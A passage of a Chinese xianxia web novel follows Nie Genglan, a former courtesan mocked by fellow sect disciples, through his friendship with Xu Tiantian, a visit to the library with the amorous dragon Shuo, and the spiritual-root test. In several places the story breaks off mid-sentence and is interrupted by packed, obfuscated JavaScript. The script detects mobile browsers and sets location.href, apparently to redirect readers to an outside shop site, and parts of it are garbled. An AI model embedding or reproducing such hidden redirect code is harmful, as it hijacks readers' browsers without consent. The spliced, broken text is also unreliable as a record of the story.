“当真?我就知道你对我最好了!” *** 聂更阑醒来时时,已经是一天后。 许田田赶紧端了饭菜过来,开始碎碎念,“真是难为你了,身上新伤添旧伤,要不是你晕倒我都快忘了你受伤的事儿,先吃点东西然后继续休息吧,对了,我看你昏迷没征求你的意见就给你喂了丹药,你不介意吧?” 聂更阑摇摇头。 “那、那……要不我喂你?还是说你自己能动弹?” 聂更阑点点头,身上有力无气,看起来确实很虚弱。 许田田得了准许,把聂更阑扶起靠墙坐好,端起一碗粥慢慢喂他, “这可是宗门里的灵粥,都是用灵谷制成的粮食,对修炼大有裨益,你多喝点。” 聂更阑慢慢吞咽这灵粥,只觉得寡淡无味,尝不出什么滋味。 “味道不好?”许田田偷偷摸摸看四周一眼,“其实我们也是可以吃点儿有滋味的。” 他悄无声息从储物袋里掏出一个小瓶子。 聂更阑眼神透出疑惑。 许田田拧开塞子往灵粥里抖抖抖,抖出一些淡褐色的粉末,“嘿嘿,胡椒粉,我拿了你一块中品灵石问厨房换来的,你快尝尝!” 聂更阑喝了一小口,有味道了,果然变成了能入口的粥,就连里头的豆腐和蘑菇都美味不少。 一碗粥喝下肚,恢复一些力气,他这才发现四周一丈内的范围毫无人影,而在一丈外的通铺上满满当当都睡着人,并且都在偷偷打量这边。 很显然,这些人都不想靠近两人。 许田田放低声音:“别搭理他们。” 他把盘子端出去,片刻后回来时,看到聂更阑依旧靠坐在角落里,头低垂,房中的烛光昏暗,少年的影子投射在墙上,因为是侧脸所以看不到那道疤痕,在弧线流畅的光影力,不知为何生出一丝漂亮的靡颓感,。 许田田轻手轻脚过去,在聂更阑身旁的铺位拉过被子铺好,轻拍他肩头,“别难过,我们做好自己,无愧于心便好。” 聂更阑抬眼,安安静静冲他扬了扬眼尾。 许田田看得心情复杂,不知该如何安慰这个同伴。 厢房那边这时有人在嘀咕:“也真是可笑,小乞丐抱小倌的大腿,也不怕被染病,想想都瘆得慌……” “哎,不过看小乞丐在他旁边睡了一夜似乎没出事,我们要不要……” “得了吧,就算他没病,就不怕他大半夜爬起来对你动手动脚?我可没有龙阳之癖,他要是摸我,我估计会恨不得悬梁自尽吧。” “哈哈哈哈,岳道友,你说话可真是幽默风趣。” 许田田掀开被子倏地站起来,对那些嗤嗤发笑的人怒目而视:“你们说够了没?!” “哟哟,小乞丐这是急着维护饲主,生怕没人养啊?”那些人嘻嘻哈哈嘲笑,“小乞丐,你用着小倌伺候男人得来的灵石,能心安理得么?” “也不知道啊,那是小倌被多少个男人上过才换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许田田拍拍聂更阑的被子,低声道:“忍一忍,等过了这几天再说?如果你实在忍不了,我可以陪你和他们干到底。” 聂更阑却已经彻底冷静下来。 他一个人出事不要紧,但不想连累许田田被执事堂责罚。毕竟这踏入仙门的资格实在来之不易。 于是两人盖好被子一同躺下。 在许田田的解释下,聂更阑才明白,白日里周炎带着汪淼淼来过,大肆宣扬了他在凡界的出身经历。 这之后,张涛他们足足在背后议论了聂更阑和许田田一整日。 聂更阑忽然不知该说什么,只是眼眶慢慢冒出许多红血丝。 许田田以为他气昏了头,扯了扯他的被子,“莫气莫气,就把他们都当做时一只只胡言乱语的大萝卜就成。” “是我连累了你,”聂更阑出声,“我是小倌是事实,却拖累你一块被嘲笑。” 许田田:“你说什么呢,谁也不想生来就当那伺候人的玩意儿,难道我一出生就乐意做乞丐吗?你记住,这并不是我们任何一个人的错。” 聂更阑眼眶忽然涌上热意,偏头定定地看着许田田。 因为怕聂更阑不适应,许田田是隔着一个铺位躺下的,不过两人挨得也极尽。 这意味着,许田田没有因为旁人揣测的“脏”、“不干净”而嫌弃自己。 许田田嘴唇又动了动:“别管他们怎么嘴碎,就当听不到,休息吧,你身上还有伤。” 说完,他给聂更阑递了两团东西。 聂更阑看了过去。 是两团棉花。 21. 恩公 *** 聂更阑这一觉睡得尚且算踏实。 他的伤势在丹药的作用下已经好得七七八八。用许田田的话来说,那可是花了十枚中品灵石买的回春丹,疗效那肯定是没话说. 许田田便寻思和他出去在清竹阁四周逛逛。商定好后,两人还在穿衣,就看到张涛和几个人喜气洋洋进来了,眼神里还带点玩味,“聂小倌,聂头牌,外面有个姑娘点你,这单生意你要不要接啊?” 许田田气得暴起,“张涛,大早上你们就嘴臭!是不是找死!信不信我去告诉安师兄!” 张涛笑容极其猥琐:“我说的没错啊,确实有个姑娘找聂小倌。”他挤眉弄眼朝身后看了过去。 “你、你们在说什么?”道清脆的声音响起,接着从张涛等人身后走出来一个少女。 聂更阑从刚才起就沉默不语,这时看清来人面容,不禁感到愕然。 这不是被家人阻挠修仙的那位姑娘,许盼娣?她出现在此处,说明已经通过了灵音宗的弟子大比。 聂更阑沉郁的心情顿时舒缓不少,至少,能证明当时他的举动是正确的。 而此时,许盼娣因为张涛的调侃不知所措地打量聂更阑和许田田。他们两人正在穿衣服,此刻身上的衣裳都有些凌乱,结合方才张涛的嘲讽,确实容易惹人生疑。 张涛嘻嘻笑道:“你不知道吗姑娘?这位救过你的之前在凡界可是个小倌,你可要问清楚了,见他一面到底收不收钱?” 许盼娣瞪大了眼睛。 一个枕头骤然飞过来砸向张涛。 张涛敏捷地抓住,神色揶揄地凑近闻了闻:“许田田,你枕头靠近聂小倌,让我嗅嗅看上边儿到底有没有他用的脂粉香气?嗯……好像没有呢。” 许田田气急败坏又要再砸,许盼娣急忙制止。 “你们别吵了,我、我今天是来感谢恩公的。” 她在众目睽睽之下,朝着聂更阑恭敬地行了一礼,“谢、谢谢聂道友那日在广场上的相助之恩。” 聂更阑摇头:“没有我你也能参加笔试的,许姑娘,恭喜你通过比试进入宗门。” 许盼娣朝他露出个灿烂的笑,饱含感激之意。 “哟哟哟,聂小倌人这是刚进宗门就虏获了姑娘的芳心,不简单哪?许盼娣,我可告诉你他只喜欢男人,你趁早打消其他念头,别白费力气了。” 许盼娣脸瞬间通红,“你们别胡说!” 说罢,她拨开人群冲了出去。 张涛等人再次哈哈大笑起来。 许田田大吼:“趁小爷发火之前,张涛你个孙子最好滚出去!” 没想到张涛真的带人从善如流出去了,“好好,我们可不是那不识趣的人,就不打扰你们卿卿我我了。” …… 聂更阑和许田田去了清竹阁后面的膳堂吃早饭。路上,许田田忍不住用担忧地目光瞟了聂更阑好几次。 聂更阑察觉后,只是道:“我已经习惯了,没事,如今还未拜师,能忍则忍。” 许田田只能暗暗叹气。 聂更阑和许田田在膳堂找了地方坐下,边喝粥边吃馒头,再配上小菜,虽是灵谷灵植做的,倒也比昨夜聂更阑喝的豆腐白菜粥能下咽。 四周有不少过来吃早饭的弟子,大都是这次刚通过大选的弟子。 许田田忽然指向膳堂大门方向:“你看,他们是这次比试的第一名第二名,分别是流月大陆东南边的君家和慕容家,都是世家大族的公子小姐。” 聂更阑偏头看过去,只见龙章凤姿的一少女一少年并肩步入膳堂。少女气质清雅不俗,少年则玉树临风公子翩翩。 许田田低声八卦:“听说君家和慕容家是世交,就如同西南地域你们聂家、周家邢家和徐家一样,而且嘛,这君姑娘和慕容公子从小青梅竹马,感情甚笃,据说将来也是要结为道侣的。两家强强联合,倒也正常。” 君杳然和慕容证雪一进来确实光芒万丈,瞬间吸引了所有人目光,一时间议论他们的饭桌不在少数。 这时,聂更阑和许田田看到张琥珀和魏禧他们,许田田正要打招呼,魏禧却拉了拉张琥珀说了几句什么,张琥珀神色尴尬地看了眼这边,扭头和张琥珀走掉了。 许田田哼了一声:“这个张琥珀和魏禧真是……” “随他们,”聂更阑声音沉沉,“与谁交好是个人自由。” “你看得真开。” 聂更阑唇角扯了扯浮起一抹苦笑。 像他这种出身,即便形单影只都是正常。可现在有许田田肯跟他作伴,也算是他人生旅途上的一件幸事。 在聂家时望舒老人就告诫过他,修仙路上注定要一人承受孤独,属于自己的道,只有自己能走下去,没人能永远陪着自己。 在短暂路途中给自己带来力量和慰藉的,都是上天赐予的礼物。 “聂道友,许道友。”这时有人走了过来。 是许盼娣。她正和一个同伴端着饭盘,微笑地看着两人。 聂更阑和许田田相视一眼。 许盼娣:“我就是路过看到你们打个招呼,我和小茹去用饭了。” 许田田:“好,许道友请便。” 许盼娣和同伴走后,许田田道:“还以为她被气走之后不愿搭理我们了,没想到是个有勇气有主见的姑娘。看来她能偷偷跟在弟弟背后不远千里到灵音宗参加大选,也是有一定心性和魄力的。” 两人吃着早饭,默默听着四周的话题逐渐从君杳然和慕容证雪身上转移,开始聊到这次大选过后的拜师。 “哎你们知道么,听师兄透露,说玉髓峰的那位这次似乎也要收徒呢!” “你是说轻鸿剑尊?!那位一剑平万象,剑气横扫流月大陆的轻鸿剑尊!天啊,听说剑尊当年被几大宗门围剿将诸多大能重伤而面不改色,若不是那些宗门手握神器,恐怕他们根本困不住剑尊。” “你是说当年劫虚神器那事儿?” “就是劫虚神器,不过自打那次风波过后,各宗门和世家已经不敢低看轻鸿剑尊了,也就是因为双方元气大损养伤多年,所以到如今都相安无事呢。” 聂更阑默默听着众人议论,又听到许田田低声道:“我之前不是和你说过越靠近灵音宗地域,灵气就越发充裕丰沛么?此事正是和轻鸿剑尊当年那件事有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许田田:“别这样,听说修真界中也不乏杂灵根逆袭一跃成为一代大能的,你心志坚强,心中有道,加油努力的话,一定会有所成。” 聂更阑仙途渺茫,自己都没把握的事,许田田却能看好他。 “嗯,你也是。”聂更阑心中稍宽,对许田田道。 既然已经排除万难进入灵音宗,就代表他有潜力走这条修仙路。他为何不尽全力一试? 众弟子:“不过聂云斟并不是聂家亲生儿子,而是抱错的,那个真少爷近日回到聂家,听说只是个四灵根的废物,哎,你们说是不是造化弄人?” “噗,樊道友,你还不知道么?那个聂更阑在凡界做小倌的,他就是聂家的真少爷,和聂云斟是兄弟啊,” “什么?竟然是他?” “这要是搁我得发疯吧,听说他回到聂家行事作风有失仙风道骨被聂家主赶出来了,不认他这个儿子。” “不是赶出来,是据说他德行有亏被关禁闭私自出逃,聂家庄一气之下宣布没有他这个儿子,他那道疤就是因为出逃不知道被什么灵兽灵植伤到了……” 聂更阑脸色森森,腾地站起身:“我吃饱了。” 他推开椅子端起盘子离开,许田田瞪了说闲话的弟子一眼急忙跟上,“等等我。” 然而聂更阑走得过急,也或许是不知道谁伸出脚绊了他一脚。聂更阑在经过慕容证雪和君杳然位置时轰然摔倒。 22. 藏书阁 四周传来一阵哄笑声。 许田田赶紧放下盘子要去扶聂更阑,居然出乎意料地被一只骨节分明的手抢了先。 “道友,没事吧?” 聂更阑一怔,稍稍抬眸。扶他的弟子恰是方才话题中心的主人公之一——慕容证雪。 “没事吧?”慕容证雪看到少年不出声,又问了一遍。 聂更阑摇头,对上慕容证雪的目光,忽然觉得有些异样,不动声色把胳膊从对方手里抽出。 慕容证雪神情并未有异,只是淡淡回以一个微笑。 许田田出声:“呃,慕容道友,没事的话我们吃好了,先走了,你和君道友慢用。” 聂更阑和许田田离开膳堂,出去时,隐约听到有人在和慕容证雪说话。 “慕容公子,您要小心那个聂更阑,他之前可是小倌出身,不清不白的,也不知道身上是否染疾,且他还是个阴损之人,实在不配和您……” 慕容证雪:“……我已然筑基大圆满,有灵气修为护身,凡界的病气与我何干?” 再走远,已经听不到里面的说话声。 许田田噗嗤笑出声,“没想到这个慕容证雪还不算坏。哎,聂道友你还真够神奇的,那些对你没抱有恶意的触碰,你还真没有恶心犯呕,也太神奇了。” “聂道友?聂更阑?你在听吗,你在想什么?” 聂更阑平静开口:“在想,如何能成为轻鸿剑尊的徒弟。” 许田田不做声了,似乎不忍心打击同伴。 “我明白我没这个资格。”聂更阑道声音有些闷。 许田田连连点头:“嗯嗯,谁不想拜轻鸿剑尊为师呢,有这个想法就是对自己最好的期许!无须妄自菲薄啦!” 于是,两人从饭堂一路散步回去,经过不少地方。 “这里可是三座山峰相连,据说有悬赏阁,灵兽堂,执事堂等地,像藏书阁的话在另一座峰头上,再比如咱们平日里上课要乘坐仙鹤到别的峰头,因为那些丹药、符篆都由长老们授课,他们都拥有独立的峰头和洞府。” 这些都是许田田在聂更阑昏迷的一天里向别人打听来的。 许田田:“总之,上大课就是在这座妙音主峰,其他分门别类的课在对应的真君或者长老的粉头,其他办事的地方都在这三座相连的峰头上。咱们住的那个外门弟子的宿阁啊,是在妙音峰的右峰,这是是所有外门弟子的住处。” “那内门弟子住在何处?” “嘶,这个么,内门弟子一般都是跟随真君住在单独的峰头上,他们的洞府都是殿宇,和外门弟子待遇不一样的。” 许田田:“对了,你有想过要修什么道?剑修,符修,阵法,丹修,琴修等等。” 聂更阑语塞,他其实从未想过这么长远,只是模糊的有个概念,轻鸿剑尊若是流月大陆最强,那么他也要成为如他这般实力强劲的修士。 只有如此,他才能在修真界有自保之力。 “剑修。”聂更阑毫不犹豫地回答。 许田田:“也对,你仰慕轻鸿剑尊嘛,自然也想当一个剑修啦。” “你呢?”聂更阑问。 许田田嘿嘿一笑:“其实我挺想当个丹修,这儿不是叫灵音宗吗,实际上最初灵音宗创世祖师爷就是一位琴修,靠着卓越的琴修之道开山立派,闻名了整个流月大陆。只不过近几百年轻鸿剑尊光芒太盛,实力超群,一把太初剑横扫诸邪,给灵音宗收揽了大批资质卓绝的弟子前来。” 聂更阑点点头,心里对那位轻鸿剑尊的敬意又增添了几分。 忽然想到什么,他停下对许田田道:“我想去一趟藏书阁。” “藏书阁?”许田田吃了一惊,“你现在去藏书阁做什么?” 没等聂更阑回答,一个人影从一株高大的灵植后闪身而出,“你们还未正式成为宗门弟子,没有弟子玉符是进不了藏书阁的。” “你是……朔师兄?”许田田打量几息,记起来这是安如风师兄身边的那位朔师兄。 不对,这家伙一开始不是还被聂道友嫌弃了么,或许他对聂道友别有居心呢! 思及此,许田田挡在聂更阑身边扬起笑脸:“朔师兄,一定要弟子玉符才能进藏书阁么?” “对。” “那现在想进去,是没一点机会了?” “有。” “啊?什么意思,还望朔师兄指点一二。” 朔看看许田田,又看向聂更阑,“你们谁想进藏书阁?” 聂更阑:“我。” “那,我想单独同师弟你说几句话。”朔道。 许田田看向聂更阑,不禁目露担忧。 聂更阑:“我和朔师兄说几句话,许道友,你先回去吧。” 许田田点点头,三步两回头地走了,却并未离开,而是找了近处一个亭子坐下来等着,不时朝这边张望。 朔这才开口:“聂师弟,你和这位许师弟感情很好?” “你们……是什么关系?” 聂更阑:“师兄,这个能否进入藏书阁有关系么?” “咳咳,倒是没有,只是如果你不回答清楚我的问题,这藏书阁嘛……” 朔欲言又止。 聂更阑了然:“我与许道友前往灵音宗途中认识的,一路相伴到此,也都通过了灵音宗的弟子大选。” “哦?是吗?”朔脸上开始有了笑意,神情也比之前多了几分热切。 他从储物袋里拿出一瓶洗颜丹塞到聂更阑手里,“师弟,这是高阶洗颜丹,对祛除你脸上的伤疤很有奇效,如果还是不管用,你尽管随时找我。” 聂更阑低头注视泛起幽幽光泽的玉瓶,眉头蹙起,“师兄,这是何意?” “傻子,看不出来吗,师兄这是在助你恢复原本的容颜,你应当到处都寻了恢复的法子但是无果吧?”朔眼神极其热烈,看着聂更阑仿佛在看一件珍宝,“难道你想成日顶着这道疤痕被人指指点点么?” 聂更阑:“……” 聂更阑把玉瓶递还给朔,淡声摇头,“我并无去掉这道疤痕的打算,师兄的好意我心领了。” “啊?” 朔生平第一次感到了手足无措,“你、你不想去掉疤痕?” “嗯。” “为何?” “没有为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631765|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,随心而已。” 朔忽然变得结结巴巴:“哦、哦。那、那我就收回这瓶养颜丹了,你要是有需要,可以找我拿。” “多谢师兄。” 聂更阑道:“现在师兄可否告知我,如何才能进藏书阁么?” 朔挠挠头,磕巴地点头,“可、可以,随我来吧。” 要抱得美人归,极尽所能满足其要求是必不可少的。总有一天,他会说服小美人服下这养颜丹! 聂更阑跟着朔穿花拂柳,经过重重奇石轩榭和缥缈云雾,终于来到另一座峰头。坐落在他们眼前的是一座高耸入云的琉璃塔,正是灵音宗的藏书阁。 藏书阁三个鎏金大字龙飞凤舞恣意苍劲,横在整块牌匾上。 朔向管事长老出示了玉符,“我带这名弟子进来帮忙找几部丹药书籍。” 长老一看那玉符,惊讶地看了眼朔,又瞥向聂更阑,不敢多说什么,直接放行。 聂更阑终于进入琉璃塔,身处塔内第一层之中。 “这塔拢共有十九层,藏书浩瀚如烟,师弟要找什么,我带路路。”朔开口道。 聂更阑毫不犹豫回答:“我对修炼一事一无所知,想查阅有关修炼事宜的书籍,最好是入门基础之类我能看懂的。” 朔若有所思,“唔,你还挺上进,还未拜师就想着修炼的事了,也罢,跟我来吧。” 两人拾级而上,途中遇到洒扫的弟子,都纷纷打招呼:“朔师兄。” 朔张笑眯眯一一回应,显然对这些弟子的表现十分满意,毕竟嘛,想在心爱的人面前展现实力,弟子们恭敬的态度能起到不小作用。 两人在爬到第九层时,朔停了下来,“这里书架浩瀚如烟,符合你要求的典籍也不少,聂师弟,师兄替你寻来如何?” 聂更阑直勾勾盯着朔,忽然道:“多谢师兄,只是不知该如何报答师兄的恩情?” 朔豪爽地摆摆手,“什么报答不报答,我是看你勤勉刻苦这才带你前来,好生看书,我去给你寻一些书籍过来。” 没等聂更阑再说,这人已经消失在重重高大的书架后面。 聂更阑垂眸,往第一排书架走去。绕过几个架子后,很快找到一本《修仙:基础炼气入门》,便盘腿坐下来安静地翻阅。 他记得,修为的等级最基础便是炼气,然后是筑基,像聂云斟、君杳然和慕容证雪几人便都是筑基。 才翻看了几页,朔已经抱了□□本书过来堆在他身侧,“喏,找到了师弟,这些都是,你慢慢看!” 聂更阑定睛看去,发现是些《修仙入门论》、《教你如何吸纳灵气入体》、《论杂灵根的自我修养》、《如何从多灵根逆袭成为修真界大佬》等诸如此类的书籍。 光看书名的话,倒是都符合他的需求。 “多谢师兄。”聂更阑朝朔拱拱手。 朔笑眯眯地在聂更阑身边坐下,看着他安静地翻动手里的书页。 窗外耀目的光线投射进入窗棂,映照在少年线条流畅的轮廓上。 朔眯起眼,利用光线刻意忽略那道疤痕,时间流逝,越看心跳越快,心也跟着变得痒痒骚动起来。 23. 龙族 少年完全长在了朔的审美上。若是没有那道疤痕,定然是张惊艳绝伦的面孔。 朔激动地肖想了半天,爪子在不知不觉间朝少年伸了过去,最后还是脑子里响起某个清冷声音的警告,悻悻地将手收回。 好想捏一捏那张艳若桃李的脸,将人抱进怀里狠狠蹂躏* 忍住! 别到时追人没追到,反倒把人吓跑了。 聂更阑不知道身旁的人内心正经历着什么挣扎,回眸望过去,“师兄?” 朔讪讪地笑笑:“没什么,我方才拍虫子呢。” 聂更阑便继续翻阅书籍。在藏书阁足足看了两个时,最后才跟着朔离开。 藏书阁在妙音峰左峰,朔陪着聂更阑回到外门弟子所在宿阁的右峰,站定,“聂师弟,明日你若是还想去藏书阁尽管可以找我,我随时奉陪。” 聂更阑神色淡而疏离,拱手道:“太过劳烦师兄了,还是不必了。” “不麻烦,一点儿也不麻烦!”朔急忙摆手,“师弟有任何事都可以找师兄,我很乐意为你效劳。 ” “直到我成为宗门弟子拿到玉符为止,我不会再去藏书阁,”聂更阑能穿透眼前人的脑袋,看穿他的想法,微微颔首,“多谢师兄。” 朔有些不知所措,这、这和他之前追过的小美人都不太一样啊!这个小美人的心思也太难揣测了。 他再次清了清嗓子,“甚好,用不了几天你就能进出藏书阁了,不过师弟,你真的不要养颜丹吗?毕竟这道疤老是待在脸上也不太好?” 聂更阑语气平静:“我觉得很好。” 话毕,他不再理会朔脸上是何表情,告辞离去。 朔呆愣愣立在原地,直到把脑门薅了一遍又一遍后终于得出一个结论。 这个师弟不同以往他追过的那些美人。 这一位,很难搞! …… 聂更阑往清竹阁走时,注意到假山后下有人在探头探脑,发现他看过来,慌慌张张掉头就跑。 是汪淼淼,聂云斟和周炎的那个小跟班。 聂更阑进了院子,许田田早已在月洞门处等着,看到他回来立刻上前上下打量他:“怎么去了这么久,没事吧?那个师兄有没有怎么样你?” 聂更阑摇头,把方才的事大致说了。 许田田给了个评价:“看来这个朔师兄还算是个好人。” 两人边说着话边进去,没多久,周炎带着汪淼淼进了聂更阑所在的厢房。 房里这会儿人多,周炎倚靠房门双手环胸,再加上肆无忌惮打量聂更阑,众人就知道又有好戏看了。 果不其然,周炎开始添油加醋,把朔对聂更阑大献殷勤的事捅破,众人看向聂更阑的目光不由都带了一丝鄙夷。 张涛当即嗤鼻:“怪不得失踪了老半天,原来是出去勾搭男人了。” 还有人打趣许田田:“小乞丐,该不会你就要被抛弃了?长点心吧哈哈哈,小倌花心起来可就没你什么事儿了!” 许田田二话不说抄起房里一个小花盆打算砸向那些嚼舌根的人砸,把张涛那些人吓得直往外面逃窜,边跑还一边大笑:“小乞丐要被抛弃恼羞成怒啦!” 汪淼淼吓得也抱头就跑,临走时还歉意地偷瞄一眼聂更阑。房里一片混乱。 周炎达眼看目的达成,心情不错,也笑眯眯地走了。 许田田放下花盆气冲冲回到床榻旁,安抚聂更阑:“你别生气,等咱们修炼得成大道时,那些人就等着哭去吧。” 聂更阑只是轻轻点头,“没事,我早习惯了。” 许田田长长叹了一口气。 实则,聂更阑已经开始神游,脑子里满室在藏书阁看到的关于修炼的细节。 盘腿,入定。 “……夫人身血气流通,其循环升降,原应周天之度;动中不觉,及至静时,则脉络骨节之间,曛然而上升,油然而下降……” 他一步步按照书中所描述的,平心静气至血脉经络通畅,打算引气入体,可却在丹田处感到一阵发热后,似乎有股气凝滞受阻,随后便像泄了气的筏子,不了了之。 聂更阑心境开始不稳,吸气声比平时更大,眉眼透着几分焦躁。 “聂更阑,聂更阑?” 聂更阑猛地睁眼,看到许田田一脸担忧地在看着自己。 “你没事吧?被魇住了?” 聂更阑摇头,“我在尝试引气入体,但丹田处十分难受,很不顺利。” 许田田惊呼一声,在他旁边的铺位坐下,“你好勤奋,这么快就开始修炼啦?” 说着,他有些犹豫,“有些话,我不知道该不该说,其实我听说,杂灵根修炼确实要比纯粹的灵根修炼更困难,因为灵气入体后要分散到多个灵根中,不能专一地只提供给一条灵根,如此便会大大降低修炼效率,阻塞之感更是家常便饭……” “总之,灵根越少修炼越佳,反之则……” 许田田吞吞吐吐说完,小心翼翼看了眼聂更阑。 聂更阑静默,久久不语, 良久,才沉沉出声:“多灵根,就真的没办法顺利修炼了么?” 许田田:“一般来说是这样,我听说啊,杂灵根要修炼到筑基都千阻万难,有些杂灵根的道友,也许寿元到头了都不一定能……” 他说到这,及时闭嘴打住话头。为了安抚聂更阑,又换了种轻松的语气,“嗐,我不是说过么,修真界藏龙卧虎之人多如牛毛,也有四灵根五灵根的修士能达到炼虚合体期的,更有甚者大乘期也不是没有——” “他们分别是哪些前辈?”聂更阑冷不丁地问。 许田田一时语塞,然后着急地抓耳挠腮,“这,这,我也只是听说,其实我也不清楚这些传奇人物都有谁,我的意思是,你只要坚持不放弃,日后定能有所造化的。” “多谢。”聂更阑说完这句后,便沉默下来,重新开始打坐,试图引气入体。 许田田看他这副模样,暗暗叹一口气,也不打扰他了,出去找人。 一路出去都是清竹阁的人,张涛早已到处宣扬他们房里有个小乞丐和小倌暧昧不清,引得许田田走到哪都被目送八百里远。 直到在清竹阁瞥到一个身影,许田田大吼一声,“张琥珀,你给我站住!” *** 玉髓峰。 银色鳞片的蛟龙从大殿柱子游走而下,出了殿门绕七绕八后,在玉髓峰后山一出寒池旁找到了人。 蛟龙熟门熟路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631766|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘绕上寒池边专门为他定制的魂玉柱,从柱子里头散发出来的千年寒魂气息让他感到一阵舒畅。 蛟龙舒适地张开血盆大口,金色竖瞳一直在滴溜溜打量寒池里打坐的男人。 不知时间流逝多久后,男人冷冽的瞳眸微微睁开,但不过一息又再度合上。 蛟龙见状抓住机会,竹筒倒豆子一般开始叨叨。 “别装死啊,你告诉我,一个美人的脸上如若有道丑陋的疤痕,而眼前又有能祛除疤痕的丹药送给他,你说,他为什么不肯接受这丹药?” 清鸿剑尊瞳眸未睁,“你喜欢的那人?” “是!就是我上次跟你提的那个美人师弟,自从认识他,我没有一日心肝脾肺不发痒,憋得慌!” 清鸿剑尊神情,“龙族向来浮花浪蕊,荒淫无度,天性使然罢了。” “你你你!” “我们龙族并非只有好色,也有很多优点的,你这属于歧视!” “皮相乃是虚妄之物。” “我知道你不在乎,可是我们龙族本性就……”蛟龙说到一半意识到自己给自己挖了坑,气哼哼从鼻子里喷出鼻息,“我也没办法控制啊!” 寒池里许久没传出动静。 又是不知何时,清鸿剑尊终于再次出声,“不接受丹药,也许是那人并不在乎自己容颜美丑与否。” 蛟龙从魂玉柱间抬首,认真地听着分析。 寒池水汽氤氲绵绵,水滴不断从剑尊清冽的轮廓滴至下颌线、锁骨,再洇进胸膛前的衣领口。 “第二,”剑尊薄唇微动,“若他对你有意,怎会不接受你的丹药。不过是对方识破了你龌龊的心思,没有挑明罢了。” “嗷?” 蛟龙唰地从眼里掉下两行热泪,“果然过了几百年你那狗还是没变,什么冷清萧肃举世无双清鸿剑尊,我看你就是个超绝极品死毒舌!” “不行,真相太残忍,下次你能不能直接做个锯嘴葫芦?!我的心脏承受不住!” “不是你求着问我的么?” “嗷!给我闭嘴!” …… *** 三日时间很快过去。 一大早,众多通过大比的弟子被执事堂的师兄弟领着前往妙音峰的主峰——浩气殿。 聂更阑和许田田并肩在人群里行走,不知何时已然看到朔站在身边,还不停朝他挤眉弄眼求关注。 妙音峰的主峰仙气渺然,四处皆飞阁流丹,绣闼雕甍,灵植蓊郁,飞瀑如银河壮丽。饶是平日再张扬傲然的弟子此刻也不敢大声喧哗,唯恐惊动了此处的真君仙人。 浩气殿气势磅礴宏伟,殿中更是别有洞天,比外头不知扩大了多少倍。 三百多名弟子齐齐排列在殿内,而四周依旧宽阔空旷,丝毫不显拥挤。 弟子们列队完毕,几天不见的安如风师兄从侧门进来,朔也跟在后面,和几个弟子搬了一张桌子进来。 而桌上,则是聂更阑在聂家时见过的测灵石。这是这一块通体泛着浓郁的紫色灵力,光芒也更为通透。 安如风扬声宣布:“诸位师弟师妹,请先测灵根。” “如若成为内门弟子,便有机会被长老收做亲传弟子,祝各位好运。” 24. 打 许田田在下边低低啊了一声:“也就是说,资质不佳的弟子只能靠自己本事修炼,如果没有找到属于自己的道,还能有别的出路,往实干方向走,但一般来说职位不会太高,通常也坐不到掌事的位置,毕竟修为不高也不能服众。” 聂更阑轻轻点头,对他的话表示赞同。 大殿中,安如风清晰地拍了三下掌:“开始测灵根!” 测灵石有三个,弟子们一个个上前,流动得很快。 聂更阑早已知晓自己的灵根资质,并不期待什么。 而聂云斟、君杳然和慕容证雪几人灵根结果出来时,殿内起了一阵骚动。 “不愧是西南和东南的世家大族啊,都是单灵根!” “慕容证雪变异风单灵根,君杳然是变异单冰灵根,聂家那位是单木灵根!” “哗,今年进来宗门的天之骄子可真的不少啊,还有好几个并非世家出身的,也都是单灵根呢。” “这些资质无论多少年我们都赶不上,从源头上咱们就矮了一大截,实在望尘莫及啊。” 许田田对聂更阑低声道:“别听他们的,咱们只管自己努力,只要毅力非凡道心坚定,一定能感悟天道对我们的考验。” 聂更阑:“好。” 很快,轮到许田田所在那支队伍先上前测了灵根。 光芒闪烁过后,一名师兄宣布:“水单灵根!” 许田田欣喜若狂,似是自己也没想到自己会是单灵根,手舞足蹈奔下台回到队伍里,对聂更阑道:“我是水单灵根,水单灵根!” 聂更阑衷心地替同伴高兴,冲许田田出个灿烂的笑,“恭喜!水单灵根!” 周炎这时在那边队伍大声嘲讽:“水单灵根呢!看来某人没押错宝,日后就可以抱内门弟子大腿了呢!” 许田田狠狠瞪了周炎一眼。 很快,轮到了聂更阑上前。他将手放在测灵石上,闪烁白芒的灵石重新开始泛起紫色光芒。 不少人都在盯着这边动静。 就连聂更阑都无比紧张,在此前,他曾幻想过无数次,假如自己不是四灵根,假如是聂家那块测灵石出现纰漏了呢? 测灵石紫色光芒大盛,几息过后,光芒散去。 聂更阑定睛看去。 只见灵石之上,漂浮着四个光影,分别是木、土、火、水四条灵根息影。 四周传来一阵高低起伏的笑声。 “他好像还在期待什么,四灵根期待个什么劲儿,还真以为自己是什么被埋没的天纵奇才?” 许田田朝张涛那伙人举起拳头,“笑什么,笑什么,也不看看自己什么样,还有资格笑别人!” 